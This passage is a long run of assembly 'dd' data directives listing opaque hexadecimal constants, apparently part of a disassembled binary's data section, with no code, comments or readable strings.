		dd 4ABBB890h, 5E909CCFh, 952759D3h, 0B714421Ah,	2E6780FCh
		dd 0C2A7E0A5h, 645DFFFCh, 0F568177Bh, 0DC8A3661h, 461B443Ah
		dd 0E862F901h, 388558CAh, 0E214A512h, 846BD3AEh, 0C37B0925h
		dd 6058FAABh, 0BDFFCA2h, 1EB576F0h, 9400F379h, 6BD31081h
		dd 40DF75E4h, 1F4029E1h, 1B00BD5Bh, 515083AFh, 9800DAA6h
		dd 41560839h, 14535D9h,	0E796E1CFh, 3B748A71h, 0F98B4F90h
		dd 0D07D936Ah, 0B52F01F4h, 0BD5DE8C5h, 68104035h, 0F913BF09h
		dd 758E1AEAh, 4B8C337Bh, 2408681h, 801525F0h, 555EA1CBh
		dd 7B9DB740h, 13140050h, 1F06061h, 0BA95550Ah, 50F353FBh
		dd 78026E88h, 4149BD9Eh, 0C95974CAh, 59FDB304h,	5002028Eh
		dd 251056F6h, 0FCDC5F3Bh, 7DF7133Bh, 87EFB58Bh,	3288BCC0h
		dd 3D900C7h, 89983452h,	0AEA82995h, 0C497CCB3h,	0CDB2016Ah
		dd 0F8E3207Bh, 6A2A3A5Fh, 2E18380h, 0B5727239h,	14F0F95Fh
		dd 0C04DB720h, 16E0B6E8h, 4A75B36h, 41AF2057h, 4D1581F0h
		dd 0FDF27A03h, 0D8AC9DD1h, 2164DF00h, 15C0EFEAh, 4BD7BE3Ah
		dd 0F37498D7h, 0B2BC0950h, 0A664D161h, 3E79F1FCh, 82CC9900h
		dd 66BE3F04h, 5BBD0061h, 0C3A1A9BFh, 159B897Bh,	352576BCh
		dd 0C928761Ah, 74E35D7h, 506A37F5h, 867CCC73h, 74595225h
		dd 8D89041Bh, 96DEE0E5h, 7E203BB8h, 90DE7876h, 25552D3Eh
		dd 0E0EF8674h, 0ABCF80DAh, 83460968h, 69DC1A41h, 9A60EB40h
		dd 0A07A1307h, 0B95AA05Bh, 1A5E8013h, 26B6EABh,	84C73748h
		dd 0AEB05756h, 540CCB81h, 0B4314866h, 0BB389AFAh, 0E09C71CCh
		dd 4A0EA9B1h, 8BE1BB65h, 1B771ADh, 3FE22CB7h, 4B0C33CCh
		dd 0B1BC44ADh, 8D0F600Bh, 80B3730Dh, 4AE93644h,	1D01C4A5h
		dd 0C8BF0F5Ah, 4DCAF561h, 7223E0BBh, 88093C67h,	981AF5B2h
		dd 46DEDEh, 506D9C35h, 94BF216h, 99CE1E05h, 5A88D53h, 44A10820h
		dd 4B3E38ADh, 0DA5E3DCFh, 0AF97EDh, 74FB3BA6h, 0D27F6BAh
		dd 0B178792Dh, 2B2FA576h, 5E3427CEh, 0C39BEF24h, 0EE603FC2h
		dd 2D003C51h, 0EF62E548h, 0BC4F0188h, 0B7924703h, 0F07AC87Eh
		dd 81C01B03h, 4F3DE984h, 0F0F3B630h, 3E231718h,	32A797BCh
		dd 9C5C4F47h, 4012CECh,	0AF18FBD3h, 2501116Eh, 0E5992836h
		dd 0BA7CCAF9h, 54F06D40h, 56D53A6Ah, 1A00A03Bh,	921D6F94h
		dd 5F4E24E5h, 0EC1C848Ah, 0B7752504h, 432A00BCh, 860776F2h
		dd 81E37B00h, 94C10CF3h, 62349179h, 0BADC04B6h,	0E5CC07F4h
		dd 12EBBBFEh, 7C5C1E4Dh, 17A595C1h, 0D388BC04h,	1FB9C904h
		dd 4DF60E9h, 0E92FED9Dh, 8C1DBC5Ch, 21451F00h, 6ABDD9F9h
		dd 7DAA0024h, 20D8DB81h, 0C3EC522Eh, 21887809h,	0F383980Dh
		dd 0C13B0B34h, 0DC7E5015h, 0DC30DE49h, 2B36A807h, 0DD0B79BDh
		dd 5BC02A95h, 1374DD97h, 0A7DC1194h, 2EE64B66h,	4E19A3A5h
		dd 21ED3C8h, 45C7AE78h,	88404759h, 0D60498B1h, 0D5563420h
		dd 23796BBAh, 6D46001Ah, 0D33C4022h, 0BD899704h, 0DBEE1409h
		dd 0C017C858h, 5870A39Dh, 8013F1B0h, 0B8A27AEFh, 2F67CDA9h
		dd 1F5097A6h, 84D74E60h, 0E0E0F6AFh, 550160Eh, 45DA41B9h
		dd 2956C1BEh, 0C6BC0407h, 70BFF501h, 2E687ECEh,	66839Dh
		dd 0F099D9B1h, 0EF1C5FE7h, 778BA6AFh, 0BC121857h, 74173ED3h
		dd 80675680h, 0AF2F85F2h, 23836650h, 596D070Ah,	4227C1DFh
		dd 0F40C5C02h, 11AA15Ch, 0B4DC75D7h, 0B02B8C4Dh, 568124FFh
		dd 2FFACA30h, 4E5E6A5Fh, 0BB900DEh, 0ABD9BFE1h,	0E8283941h
		dd 0DD4B100Eh, 0F78028AEh, 7B5C015Ch, 4F8115E1h, 0D86E61CAh
		dd 8FF66698h, 0DEA77F4Bh, 0F828B44Eh, 92BF9600h, 504CC23Eh
		dd 0AFE0FBBh, 88924887h, 920EB823h, 923EC072h, 2B01EAF2h
		dd 0A2EB8B9Ch, 3C99C62Dh, 19924156h, 0F9EB0714h, 9B5A00BBh
		dd 794527D0h, 786D5413h, 0B7132DB3h, 8E12B277h,	0CD251C62h
		dd 0A48E163h, 0F4D73AA6h, 3ACB2720h, 800F2796h,	0D66B205Eh
		dd 818B700h, 21058AFh, 308DDFBFh, 0B7FF9625h, 45ED014Eh
		dd 2FAC70F7h, 0BBA4B6CAh, 0A80127CAh, 7CCC6ABBh, 74E8AF42h
		dd 0DB015540h, 2395BD29h, 0F24CE62Bh, 0F5DB3015h, 4E9752B0h
		dd 0E76DB538h, 0BCA1DC60h, 112109EDh, 0C6DE4EC7h, 0DB2B9489h
		dd 0DE1E4A46h, 0B2023001h, 21D59D33h, 3E59DD2Eh, 2EF42A20h
		dd 37931C94h, 0A79A0028h, 0AE093BBCh, 46FE0601h, 0C67AC955h
		dd 0A01AE72Eh, 182D930Ah, 0F009F7F4h, 104EACD7h, 19C846DEh
		dd 14CD15C0h, 1B76037Eh, 2859BD03h, 0F0DDE50Eh,	953121FFh
		dd 0A83F02B5h
		dd 0BF17F8ACh, 0E626BC30h, 0ADB78F5Bh, 0A260B65Ah, 36FD40Eh
		dd 500CDB80h, 9DE0E27h,	0C22CCD3Bh, 99FD7FCDh, 0B4431051h
		dd 0E16EF23Dh, 588EDAB2h, 0FD9319B3h, 447BC62h,	0E2C11ED2h
		dd 7900E2C2h, 786A5900h, 526206DAh, 0E68E0FFDh,	7B4B41E7h
		dd 0C0B7150h, 0CD0648C9h, 6726C222h, 7600F551h,	0B63A1259h
		dd 0A2DF03E6h, 0F2378D19h, 317A2EA8h, 0B05C080h, 0FAE030BBh
		dd 0E102D8FCh, 2B1A8903h, 88A35550h, 0E67D21E2h, 0F666484Eh
		dd 94F9577Dh, 896050B0h, 27E5A717h, 34BFC7D8h, 0E9653F9Bh
		dd 49B6D33Dh, 6C4697A0h, 5E94AB00h, 0FA47C0Ah, 0BF054483h
		dd 0EEB9D516h, 76DF29BBh, 0B232A0B2h, 0DBD14AFFh, 0D4A58003h
		dd 270E941Bh, 526559A9h, 0BD25711Ch, 675D00C4h,	0B8BC3651h
		dd 6A28070Bh, 0CB6CCD02h, 5089D1D1h, 268CD62Bh,	0D63002A2h
		dd 1F4A3D85h, 3216ABF4h, 205B58B7h, 6B4A8F06h, 3FA23D00h
		dd 0E7B7418Ch, 0E90A0918h, 6FD90CEAh, 91851664h, 43BC85E9h
		dd 532E2C2Dh, 5A499193h, 1F2764BCh, 0BCB04C6Eh,	0FA90DB27h
		dd 0BC575AA1h, 0B25FCF08h, 69B876F9h, 2B2AB09Dh, 9719F49Dh
		dd 35279567h, 405D1FBBh, 29C9B740h, 0C5A1195h, 9CFA4EDh
		dd 0EE314D85h, 6A6F51CDh, 0C986000Eh, 859BB535h, 0FC1D4F3Eh
		dd 5733C945h, 32C02AEAh, 0D3B71649h, 6749D06Ch,	67BCB727h
		dd 28642531h, 829AAD00h, 0CF400BD2h, 7ED40032h,	3D62F336h
		dd 0C50026D3h, 0BB2CBF24h, 13E6342Ah, 0FFB05F65h, 86E82CDh
		dd 0E6092B69h, 0C9150270h, 0E1B5212Ah, 34213B1Ch, 31E231BDh
		dd 9D0311E8h, 253A2371h, 80D2A834h, 0D505F32Fh,	2C610EA7h
		dd 0A8CEDC64h, 0EFE81A04h, 0D92D13B3h, 25000C6Ch, 5EDB8F2h
		dd 104846Fh, 2DBDDA49h,	7BAF79EEh, 0F92299B2h, 2BF1C095h
		dd 18DD99C8h, 159DE2D1h, 0B690E980h, 6DF24904h,	1548B76h
		dd 909DFE43h, 3966E087h, 0A0088E3h, 6B2CAE4Fh, 0C971A2AFh
		dd 11D1A604h, 0E4E21A57h, 0D2FD4E00h, 290B61ECh, 81A8C33Ch
		dd 0D1B63F4Ch, 486453C1h, 0BD2B1207h, 0BF4A40A1h, 23BA6270h
		dd 5DEA1CD3h, 0B490D378h, 22860C49h, 2A441051h,	3D989DF5h
		dd 9009EF81h, 0D9663E4Dh, 0B314133Ah, 3C8D4E7Dh, 7F13F904h
		dd 561031A6h, 0C7906145h, 8EC9880Fh, 6A022C6Bh,	9BD5AC2h
		dd 52BA5D0Dh, 0B5A1CB86h, 0EE59B92Ah, 1EE0AC97h, 0DE224105h
		dd 0D8733F7Bh, 80B95345h, 0A3B6C02Bh, 0D71E01DCh, 0CD83E3CFh
		dd 0D3F484A2h, 0CDE89622h, 0D996F392h, 5BEA01FAh, 217BD153h
		dd 6E20F9A0h, 2780EF98h, 839876F3h, 661252BBh, 8FE92D25h
		dd 3A2E59C4h, 0DBDDB717h, 0EE8D8C33h, 0CE0F4B69h, 496B22E4h
		dd 24096357h, 1E095F14h, 5A974379h, 0AF6053BEh,	4017847Ah
		dd 9AA207FDh, 0A9593062h, 98976D16h, 17DF80CAh,	6FE1FF34h
		dd 5EA00055h, 2ED66EFEh, 0F98B25A6h, 112CEE5h, 25E7BAAh
		dd 0BD315235h, 5F88C941h, 0EBF1282Fh, 879655DDh, 73801AA2h
		dd 0E5DA614Dh, 53D8FC00h, 0E3DC2A42h, 311905FEh, 0AC629DBCh
		dd 4958003h, 190BFB8h, 268951F0h, 6B15FD23h, 15015DE4h
		dd 4629B98Dh, 6FFFE0D2h, 0C1B08DD3h, 1F379560h,	0DCE2A300h
		dd 2505E93Bh, 0E0E0EA23h, 0BD160151h, 74BA0CF1h, 3A9ABBBBh
		dd 2B7D078Bh, 0DD37094Ah, 4E7721E2h, 0DC819C10h, 646C5904h
		dd 8CD1031Ch, 342BB458h, 411DABB0h, 35270628h, 0E122761Fh
		dd 755BF953h, 1FC37BB6h, 0FF19FA09h, 6D80D912h,	0C768A4A2h
		dd 4EB9203Fh, 8C0FC5E2h, 3CA122C5h, 30F8893Bh, 8158BB09h
		dd 8095712Fh, 0A623388Eh, 79DABB19h, 0E50B600Eh, 0BAA71B4Bh
		dd 2E74CD5Fh, 0E3F93C57h, 0A0078E8h, 5CC20F76h,	9FA2E969h
		dd 0C94F8874h, 0AD4F79E5h, 0DB703A73h, 734F5C3Fh, 99750B76h
		dd 0BA7C2D8Ah, 5F3FC225h, 2166124Fh, 0CDFA4B4Ah, 0CFBC8435h
		dd 10BC6E9Ch, 0EB2357C5h, 69310DC9h, 3075A011h,	0F246E67Bh
		dd 35469018h, 0E8C417AAh, 8D130411h, 80F1B833h,	0DD8A53FCh
		dd 0FA964F5Bh, 0E9F9294Eh, 9568780Bh, 0F452CF5Ch, 9404D42Ah
		dd 0E3477A0Ch, 0E286C5FEh, 0CB1203F2h, 0DA4C0B3Eh, 5120FF95h
		dd 7C8D0268h, 0D220215Bh, 0F6873553h, 505512E5h, 0C037FE52h
		dd 0FCBB3160h, 25E77D70h, 6E8585Ah, 63098EFDh, 71F88B21h
		dd 0B52984E7h, 9140FF75h, 7DED61BBh, 62F3B507h,	2517DD8h
		dd 0EA9DB42Ch, 7DF69453h, 758DC605h, 5D3E9BCh, 346130DFh
		dd 5D92FA83h, 0C24D574Ch, 0CB611B64h, 447DCEE5h, 0F6AC82F6h
		dd 6EB7856Eh, 0E0E2E661h, 978F4FD1h, 9C009E44h,	6BC764F5h
		dd 701A38h, 6FC8BE49h, 0A011B041h, 80A1EB28h, 9DAFF309h
		dd 7AEF755Fh, 97106C4Bh, 58434AF6h, 0F8AC803h, 2084998Fh
		dd 3C0245B6h, 31BD1899h, 9F7817Bh, 1D12BBD4h, 0B44C059h
		dd 255032EFh, 0AF521B24h, 0F6A5E73Bh, 2C9CA002h, 0DA7F01D1h
		dd 0FF05FD93h, 6EAC2B60h, 0F090AED3h, 9E78161h,	0DF037C3h
		dd 3D429971h, 754F5504h, 0ABB22D47h, 0BF9F400Ch, 0FB81676h
		dd 143AE380h, 0B3DE61C1h, 0AF764B02h, 0E602A46Eh, 0BBEFEB36h
		dd 0F9EDB2D5h, 8BAA0707h, 7F5FB249h, 0BB2A145Dh, 2BD451EEh
		dd 0D652DE32h, 0B85FC422h, 8825AABBh, 0DA8B1B5Fh, 9E8FE7Fh
		dd 445D5FFEh, 7B970081h, 6B11DDA2h, 2A026412h, 0C7044A6Eh
		dd 0CC166CBh, 80EC63E0h, 7BE35F6Eh, 0EB08DB7h, 6D27B9A4h
		dd 0FEA95501h, 91843557h, 43BF851Dh, 0BBC0BFE9h, 74989377h
		dd 0FDD78102h, 0D759B386h, 8D10FF4Ch, 0EBE4146Dh, 9201386Ah
		dd 6EA97D41h, 70203F4Fh, 4026216h, 0FA8B2FFCh, 0D6AEB85Bh
		dd 885BC8h, 0C8C283E2h,	0A1769463h, 538FD600h, 0A6418DABh
		dd 5EC492D9h, 0B56CEC20h, 0FED2B49Ah, 0F62BC262h, 73DE2FDEh
		dd 2B098651h, 0DD234482h, 0E4014111h, 0DB9D30ADh, 4E352F87h
		dd 393D8000h, 55DA2FBh,	336FB3C0h, 4017A99Dh, 0C4120CDEh
		dd 0CCEB5B47h, 4EA088BBh, 0B125BD29h, 0AF8DD32Ch, 2D106BDCh
		dd 0F3299C6Bh, 0BB04235Bh, 0DB64E791h, 0E217C0BFh, 0B777048h
		dd 605E2BE4h, 8898B7C6h, 4475D112h, 610B6DE3h, 6AA45696h
		dd 36BA6485h, 5F4A04E5h, 1EC0D3A8h, 42BA2801h, 108ECB2Fh
		dd 0B1A02Ch, 31840AF6h,	825CAD21h, 5F32F40Bh, 75854296h
		dd 552DD6EEh, 0A05ED31Dh, 630B258Ah, 0D3006DC4h, 0BA35AC7Fh
		dd 4B23F3CDh, 38658AB8h, 2DE4A75h, 0D8D06680h, 0F405FC7h
		dd 86212DEFh, 8082A99Ah, 9604305Dh, 0A8E212AEh,	0CD3E8056h
		dd 51014AFh, 610F6BCCh,	0E3238104h, 8EFEA61Dh, 0D5149FDEh
		dd 4309817Bh, 7604868Bh, 3A005570h, 8D01FCF8h, 3F2A4111h
		dd 9D1AAFE0h, 0BB8FA0DBh, 1864826Fh, 4453CEF9h,	51005D12h
		dd 2F58810Ch, 422978h, 1BCF9F18h, 0C72675C1h, 528C0D4Bh
		dd 0C8875B0Fh, 1497DE49h, 9474430h, 19599D16h, 15BC6BE9h
		dd 0F7AC048Ch, 0AEC6BFB3h, 66FD98h, 0B9244F60h,	7D517CEDh
		dd 85BB3900h, 7B79121Eh, 4DDC123Ch, 0C00CE2C4h,	0A27387BFh
		dd 0F450C727h, 0E77319FFh, 90E0970h, 14899D03h,	6DA70771h
		dd 0DF1740CAh, 9D25316Dh, 0DD378B49h, 30AF0935h, 34FDDE4h
		dd 81F88A3Bh, 11999DD3h, 251B3C60h, 7C90F5DEh, 0DF01FEB1h
		dd 3FE8728Ah, 0F46E92B2h, 19B39066h, 4616578h, 0FE23B902h
		dd 7A20AA59h, 7160144h,	0C1A7F5F1h, 180449C9h, 0EF30BF31h
		dd 1EE1F9BFh, 6E5B2AD2h, 8B00F46Bh, 94626808h, 272DF337h
		dd 0D378F154h, 0D7EBAD80h
		dd 81A5484Bh, 74DFF520h, 0B6815E50h, 5A092071h,	0F5E5CD5Bh
		dd 5C130DAh, 9DCBF88h, 6A12C330h, 87784353h, 3B2959DEh
		dd 0EA718425h, 0DAAFDF96h, 73BA927Ah, 5F88FD74h, 0DE019525h
		dd 8D29076Fh, 8B2E0FEDh, 0EFED5B25h, 9804B5A8h,	78578F9Ah
		dd 0B2D78CBEh, 91DB7900h, 5C53926Bh, 0C40CB408h, 8485DED1h
		dd 1BE00108h, 8A0D4B0Bh, 4A4D3803h, 0C6A212B7h,	11F7FF89h
		dd 0A42F02A9h, 4809B98Eh, 5724EF27h, 4C876A4h, 49BB6BB0h
		dd 8475F565h, 0EAAD0956h, 3910BBD0h, 9FE91621h,	0F5E1C9E8h
		dd 0EBA96BD7h, 12E272BDh, 6BFFCB3h, 8344EBCh, 74C6182Dh
		dd 195AD6D1h, 95B9BD8h,	641AC4CCh, 1081BE1h, 32C5090h
		dd 93721780h, 404B455h,	905BFC8Ah, 496E5ADh, 0AC1C49DCh
		dd 3A9AE4E5h, 4A808ECFh, 359783CDh, 409DBECh, 6462536Ch
		dd 38B40061h, 7C5BF51Dh, 2F012A87h, 19BFF7FAh, 0B1688940h
		dd 1715B89h, 15147EACh,	39BD0906h, 0AD07712Fh, 0AE400B4Dh
		dd 27D7D639h, 0E1D89057h, 790A492Dh, 0E6430921h, 2E11E05Bh
		dd 580B5458h, 327EB078h, 84301060h, 4B490027h, 400CDABEh
		dd 44255E86h, 0E6258266h, 8C064B70h, 4511C7ADh,	0A8FC880Eh
		dd 852D557Fh, 8D53986Eh, 64164125h, 87ACB9D3h, 0D9B19D0Bh
		dd 0C84530F5h, 7C7F0923h, 0E6FDA34Bh, 116C95EBh, 99FF958h
		dd 5AEAC780h, 218A6DCDh, 0D0002AF6h, 2BF367BBh,	0BDB322C8h
		dd 84485E8h, 0F9188A9Bh, 0EA72DCA3h, 0D00061E8h, 4F34D70Dh
		dd 95801AA8h, 12304604h, 0AFBCB684h, 0BA1705CFh, 98DB942h
		dd 69661A24h, 0B69A791Fh, 72CB3602h, 3E6E773Fh,	865C5377h
		dd 0C5B78E9Eh, 97C9E95Fh, 21D1B02Ah, 70BD2B80h,	0C954829Dh
		dd 26E45F6Bh, 0B92ED300h, 27E35307h, 0A24F4B3Eh, 1221950Ch
		dd 0D5B7D5F5h, 6774852Fh, 44ADCA8h, 0AF0BDBCBh,	0E7FB4854h
		dd 828E78h, 0BB987C3Eh,	9D0141EAh, 5D0D6D25h, 3D809F3Dh
		dd 4EC1D270h, 0B94197EBh, 0BD230003h, 0A21F5B21h, 4B6D26Ch
		dd 2FD85A2h, 5C43B9DFh,	0ACF32533h, 9526C870h, 0AAD29A10h
		dd 3F409B00h, 55CD3C9Ah, 1CB1E28Eh, 0E5B72874h,	37B0C8E4h
		dd 3CE9B007h, 5FC5AAh, 0CE56CF24h, 797E02A1h, 0A570669Fh
		dd 5B9799D7h, 0E98DD68Ah, 296082B2h, 0A8E8F995h, 985ACE80h
		dd 0BD5BC7E9h, 5E48BCDFh, 0F8C1F095h, 209BFC5Ah, 4E3C6D83h
		dd 2C31AA26h, 0F32FB89Ch, 412ED8BBh, 0BA23C11Ch, 4A189022h
		dd 0C031F91Eh, 11B1553Eh, 0BC3700B7h, 5FE6362Bh, 0BB1E75D4h
		dd 64922251h, 69B01AEh,	2E5B4E0Bh, 0DF30D43Dh, 0B7104A45h
		dd 66CA076h, 6654059Ch,	975B7AFh, 0D871DAAAh, 299D030Eh
		dd 97ADEE2Dh, 0C177D378h, 4973D195h, 0D7038A44h, 0D97FE656h
		dd 20B09FCBh, 0F097F7C2h, 67400233h, 4EAD6BDAh,	9F56F15Ch
		dd 6D001346h, 0C52D0A89h, 0B305F9h, 0CBA0B182h,	12BE5334h
		dd 0FBE0D925h, 0FD9670ABh, 190D2A00h, 1F4FE1A6h, 25EBBAAFh
		dd 0FE5A7DFh, 0F3BD8D12h, 4D003DECh, 0D635A07Bh, 0B0BCB8BBh
		dd 0ED597B28h, 0E221A72Eh, 714B60BBh, 0EF45B72Bh, 40126DA5h
		dd 0EFA302F3h, 0C6B3E300h, 8CE0C0BBh, 0E1FF253Bh, 0BF009071h
		dd 7D6CA03Ch, 0B2260966h, 31795B13h, 5C043242h,	0AF1DF457h
		dd 9E97A905h, 30B80884h, 61251DA3h, 11F8C5F8h, 0F16E5BD9h
		dd 75A0802h, 725D33BAh,	0DF84A2C5h, 0B660EA24h,	198BE11Fh
		dd 97E7F0F3h, 353E2561h, 0B7FF21E2h, 6DDD0064h,	4C6C6167h
		dd 944E7578h, 5B175D81h, 1042182Fh, 894B11CFh, 13921D1h
		dd 0A01BB72Fh, 4A557596h, 5824BE86h, 8FE62AAEh,	0B4F787E1h
		dd 0B00CD0B3h, 0B0FB30DFh, 3D189766h, 0DD738A60h, 16FC049Fh
		dd 15410C18h, 10C76181h, 5F1C8510h, 591287ACh, 0BB8EC533h
		dd 0A1020C6Eh, 8580D0BEh, 47AD92E1h, 98A5677Ah,	516A024Bh
		dd 650E822Dh, 0C568001Ah, 0F17FA42Ch, 88815B30h, 4F7AD73Ah
		dd 0D76E0Eh, 537B6747h,	9A819D8Bh, 0A25E97C4h, 0CED8ED6h
		dd 0E867031h, 74BC958h,	0B9A470BAh, 0B0265A5Bh,	0BA035E7Bh
		dd 9CE961BCh, 0CDBB2895h, 95810186h, 92A2D08h, 0DD51BEEBh
		dd 0B0AD5DB5h, 93FA5Dh,	0BFD2AE1Dh, 9D33030Ah, 25D3854Dh
		dd 0B48AE6F5h, 0FD9DC1C8h, 0ACCB2B2Ch, 25D06A4Bh, 48EE66Ah
		dd 6CF7CDBFh, 88BBC29h,	5024619Dh, 8B97DE8Ah, 81EB3767h
		dd 8BB346E6h, 7CBD3A50h, 0AEDE979Eh, 0F67A6029h, 5BF7F05Ch
		dd 6E8C12F6h, 0B2A9F654h, 804C3019h, 45EE2109h,	9D90054Ah
		dd 46689A40h, 0B6B78490h, 8E4A4003h, 99005435h,	572E8969h
		dd 49906F91h, 0B9049A40h, 0A6489A73h, 0B04CE0E2h, 80E29F32h
		dd 0FCE9B35Ch, 408E072Ah, 50209090h, 0FB1E43BBh, 28665E4Eh
		dd 0A1C4F113h, 0A5C5A6EBh, 0A880F1ADh, 0A232E518h, 840EE12h
		dd 2ED588h, 35253F51h, 0F4B8C339h, 9F4FECFAh, 0CF584FE9h
		dd 5B0C407Dh, 91950109h, 4247F41Ch, 5F5E1F03h, 0D473767Ah
		dd 1C9F749Fh, 6B5E49D7h, 0F8496571h, 0CB5BBDE0h, 27F74E78h
		dd 170174B3h, 62E9ADE3h, 0E7F8256Dh, 0F52F5C62h, 16F58EF9h
		dd 8EE14FE8h, 799E2A04h, 13E7D882h, 77CE1A57h, 0B1F0D4Dh
		dd 5C241949h, 1446DE1Bh, 0B501FD02h, 38573155h,	21BD23C5h
		dd 5B491949h, 0FADC7085h, 0B0E56607h, 5F72E635h, 72BD1CAh
		dd 0C06C73F6h, 7ADE6625h, 52954105h, 2F81B146h,	0B27B2BE5h
		dd 0BCCB9506h, 0A8FE0190h, 0EFAB463h, 970E7A37h, 91818996h
		dd 202A5224h, 74218660h, 8DA85800h, 0EBC1B9D0h,	71F00070h
		dd 3C9D7EDDh, 0F99F5F1Eh, 3A8780EBh, 0F2BDB1C9h, 41F02007h
		dd 3F431EB3h, 5521E1CAh, 0CFBDA93Bh, 0D5EA1996h, 1667D46Eh
		dd 0F834F9EDh, 0E9EB2728h, 7975A0C2h, 4041A700h, 0CA80002Ch
		dd 2B614840h, 0BB026917h, 1826E66Fh, 8D70C02Ah,	84B9628h
		dd 0E86B2CCDh, 0C48617F8h, 32A009E8h, 207E4663h, 30E42E00h
		dd 33531708h, 436501A2h, 0D6819AD7h, 75BDD0D1h,	0E482615Bh
		dd 54D5F03h, 0E86015E4h, 0F70B80F6h, 75C283FDh,	0F9C0AA4Dh
		dd 977DB3E1h, 0B9C43C89h, 0E00A94B7h, 0B930001Bh, 258F58E1h
		dd 861C1705h, 73655B53h, 0FA53A7E7h, 1B83550h, 0F120F9E6h
		dd 2E3A095Fh, 6DA9CBE9h, 0DC4283F8h, 0F22989Bh,	463660BEh
		dd 0B219D8Bh, 58494699h, 1A3A6EBh, 0A83BBDB0h, 70D31D76h
		dd 4600DD9Eh, 59EA838Ah, 0BD154BDEh, 8B090F5Bh,	0D1AA1AD9h
		dd 6EFE0ACh, 3601E26Dh,	99D9BB57h, 0A9247CFAh, 0E6B00460h
		dd 0BA616CB2h, 37ADD81Eh, 0A5300201h, 39400972h, 77AC1A79h
		dd 61535E97h, 7B2445BDh, 0D8F510B6h, 0B8D2BD40h, 7FDA2DAFh
		dd 0AD79B2E5h, 9805AFB8h, 774DE174h, 897E8AE5h,	4BE42E1Bh
		dd 0CA81D1h, 7D802434h,	0F43297CBh, 0D06A7C00h,	1C25FE9Ch
		dd 5711EABDh, 8640A96Fh, 132D4B36h, 0E54117Ch, 9489559h
		dd 4261F50Ah, 8D400B64h, 0AFE59F4Eh, 229B7C02h,	57DAC0EEh
		dd 8DFE813Ah, 0BC2C00D4h, 0C0FE784Eh, 890B38B3h, 742A799Dh
		dd 3F5871C6h, 51C0179Eh, 433527C0h, 0FA94E704h,	0B7ABC8EEh
		dd 64BAF05Ch, 0A2FF0252h, 4C7A6B79h, 977C4677h,	6D567A09h
		dd 0B9D3577Ah, 4E0BFA52h, 1F9B8052h, 0E92D5F33h, 9CBDD098h
		dd 8A13DC81h, 540085FBh, 0A68F8305h, 2DB52531h,	0FC9630FFh
		dd 0CC3D2465h, 0E6C1125Fh, 0CC77E065h, 0E0A1F20h, 30D44987h
		dd 3869479h, 1F0DB1BDh,	970F5090h, 5E38E20Ah, 3DE0228Ch
		dd 88A79008h, 0FD4A6C44h
		dd 0C16FBAh, 0AFC6F8Dh,	122711BBh, 0EB6A59E9h, 1C015D6Fh
		dd 0A5BD0962h, 6443A2Eh, 0A6FBE871h, 8A62F0A9h,	0F60BFFCh
		dd 0D782261Dh, 16289504h, 81F181EFh, 0A3AF8DBh,	188F5554h
		dd 0BD1C4EBDh, 42E05056h, 8E9C40h, 0A31F73F7h, 905003FAh
		dd 4CFE895Ah, 0BBBAF8D8h, 6B599F0Bh, 2EBDDD64h,	0DACDAB02h
		dd 0A584F939h, 166492CDh, 0AEA3B360h, 29071AB3h, 7B39CD8Dh
		dd 0E3818092h, 6DD40A12h, 0B7D1FF27h, 0DD3E0A28h, 2A9908C7h
		dd 1E359D85h, 6BBD38BAh, 0A3B17F8Ah, 0B86C2D02h, 1C1679A2h
		dd 0C9302755h, 0D90BE693h, 6682D97Eh, 40E9CDBFh, 89088A00h
		dd 9DA62F50h, 40149678h, 815E8D76h, 0E771BA00h,	3EC211A2h
		dd 38E05CBCh, 3A6A5F27h, 0FCB726CCh, 7E942DEh, 49D41CDDh
		dd 6E5A7B7Bh, 369C001Ch, 0BB128E11h, 250A7F2Ch,	52E4576Dh
		dd 667B37FCh, 5E984325h, 0F7046B36h, 3D5F8253h,	0DBFA5F24h
		dd 164F8084h, 2574F1E7h, 4D59E1E8h, 0A7AA9600h,	3C98Ch
		dd 0FB5048C2h, 0A671CB0Bh, 0DE213FF5h, 3BE583E6h, 257B3EC4h
		dd 0E0E65FF5h, 13B0D9B7h, 1380FE55h, 142C22Dh, 2316AD03h
		dd 0A21F6DBDh, 0B728E1D5h, 6005E3A8h, 0FA8B07B6h, 200FCDEFh
		dd 0F418D0Ah, 4EF1EF30h, 0E4B4E81Ch, 82A813E9h,	955A0603h
		dd 242D019Dh, 0AD005D5Eh, 85554676h, 0E16A38DBh, 6B84F5BEh
		dd 5C0A4109h, 9BAEAE7h,	0E75C2F59h, 617467Eh, 8E62EA22h
		dd 2D95374Eh, 0DEB6F67h, 0E966CD57h, 8F38E8D5h,	425EEEAh
		dd 0DEB747BBh, 8807E938h, 852A410h, 0F1252435h,	0D6B09AD8h
		dd 5214FB5Ch, 9BDD37B6h, 1271E4A3h, 0F3107912h,	97E622FFh
		dd 79403810h, 228B900h,	0EA0B4CFAh, 0FC899731h,	0D7BB9AD5h
		dd 1E0F90D9h, 201B8CA2h, 31074119h, 815B7CF7h, 9A1520FDh
		dd 0E07989C4h, 205F6B85h, 0E2F794C0h, 800D7E3h,	0DFA29ABFh
		dd 99C82B39h, 6A3E8037h, 14371F27h, 0D82FB807h,	2425FE0Ch
		dd 5FC297ACh, 7040D18Bh, 43BC79E9h, 291EDD42h, 9FD9B08Bh
		dd 0E44C383Dh, 0B4FBDE36h, 4842586Fh, 2E45BD08h, 70FE1DC5h
		dd 0B88BDB97h, 4CB56C00h, 7817E7CCh, 50B409C1h,	0AB86DF37h
		dd 0D8BD2B33h, 0F41A9742h, 1EF4B9D7h, 9D2B120Eh, 6BEC9AEh
		dd 652DA05Ch, 502C7C0Fh, 0FB9D63F2h, 3978D089h,	3E822830h
		dd 21690BFh, 952950DEh,	0BD5E2BCDh, 710FFCE8h, 1CC922Ch
		dd 460E001Bh, 0CAFCAF65h, 0F404C088h, 105EB9F8h, 27A068A7h
		dd 6428ED11h, 0D25EC3Fh, 989ADD2Dh, 19513773h, 0F04243FEh
		dd 97325741h, 2E809AB7h, 0BF9FD50Dh, 4BDC7EB6h,	0C9CFE84Dh
		dd 2A250431h, 7BA4F6FAh, 181BDD20h, 1251D22Bh, 5F812575h
		dd 301FDB2Bh, 0DF8127B5h, 40FC14EDh, 0FA4FC559h, 31E17D12h
		dd 8FF4DE6Ah, 0A2C78736h, 573A1972h, 1564D14Dh,	33119C60h
		dd 0CE1BD13h, 6003D9EEh, 4B94F90Ch, 0D497D727h,	41201845h
		dd 268BC9A4h, 3A110D26h, 0BDDBFBADh, 282FEF71h,	0B6AFA453h
		dd 3CE8B5C5h, 0DE31C84Eh, 92DC9D38h, 50E41EDh, 33DE13B8h
